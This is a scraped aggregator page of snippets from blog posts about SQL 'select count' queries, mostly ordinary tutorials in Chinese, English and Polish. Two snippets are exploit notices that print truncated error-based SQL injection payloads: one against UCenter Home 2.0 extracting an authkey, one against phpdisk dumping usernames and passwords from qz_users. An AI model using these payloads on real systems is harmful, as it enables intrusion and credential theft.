Most select count related news are at:
More select count related news:
关于select 1 ，select count(1)，select sum(1)的使用 xzhsht.blog.163.com 5 May 2011 | 02:42 pm
关于select 1 ，select count(1)，select sum(1)的使用 文章分类:数据库 看到了很有一些很有意思的例子，拿出来分享一下 所有的一切源于一个实验，在ORA数据库下 Sql代码 create table t (a int ,b int); insert into t values(2,3); select 1 from t; 结果： ...
用例子说明inner join,left join,right join,full join的区别 tisswb.com 28 Dec 2009 | 08:54 pm
最近论坛的数据超过了1600万了，时不时的出现访问速度超慢的情况，虽然不是出现频率很多，但也很影响论坛的正常运行。今天终于抽出一些时间来优化一下，经过分析，发现主要是在一个更新主贴回帖数的语句上出现了问题，因为我们的论坛是从dvbbs转过来的，所以当时这个语句做过调整，原来的语句是 SELECT count(*) FROM cdb_posts AS p LEFT JOIN cdb_members...
UCenter Home 2.0 鸡肋SQL 注入 scanrootkit.com 13 Nov 2011 | 07:00 pm
UCenter Home 2.0 鸡肋SQL 注入. Exploit： 要求: magic_quote_gpc off URL: cp.php?ac=profile&op=base 保存时创建一个POST，参数名为: friend[a',(select 1 from(select count(*),concat((Select concat(substring(authkey,1,64)) F...
Get count of column in Table ajaypatelfromsanthal.blog.com 23 Apr 2012 | 09:03 pm
USE [TESTDB] SELECT count(*) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = ‘ DetailMaster ‘
stat apongroup.tumblr.com 22 Sep 2011 | 08:18 am
$t->assign(‘total_users_count’, $db->getOne(“SELECT COUNT(*) FROM ! WHERE active = 1 AND status = ‘active’”, USER_TABLE));
Drop tablespace waiting on 'reliable message' arulselvaraj.blogspot.com 14 Jan 2011 | 02:14 pm
Lats week, I droped a tablespace from production database. SQL> select count(*) from dba_segments where tablespace_name='TEST'; COUNT(*) ---------- 0 SQL> drop tablespace TEST including contents and ...
SELECT COUNT - zliczanie wierszy w SQL ORACLE sql.info.pl 2 Aug 2008 | 10:18 pm
Polecenie SELECT COUNT służy do zliczania wierszy w tabeli, możemy zliczać wszystkie wiersze z tabeli lub wybrane wiersze w tym celu tworzymy zapytanie z warunkiem lub warunkami po klauzuli WHERE SEL...
MySQL get last 24 hours example SQL mysql-tips.blogspot.com 17 Apr 2005 | 11:08 pm
select count(*) as cnt from log where date >= DATE_SUB(CURDATE(),INTERVAL 1 DAY);
Limited SELECT count(*) mysqldiary.com 14 May 2010 | 09:52 am
A SELECT statement with COUNT returns the number of rows retrieved by the SELECT statement (see mysql select count). For performance reasons, the desired result is to limit that count. Including a LIM...
phpdisk 通杀注入0day 3hack.com 18 Jun 2012 | 09:17 pm
EXP： /api/datacall.php?type=user&order=1 and(select 1 from(select count(*),concat((select (select (select concat(0×27,0x7e,qz_users.username,0×27,0x7e,qz_users.password,0×27,0x7e) from qz_users where...
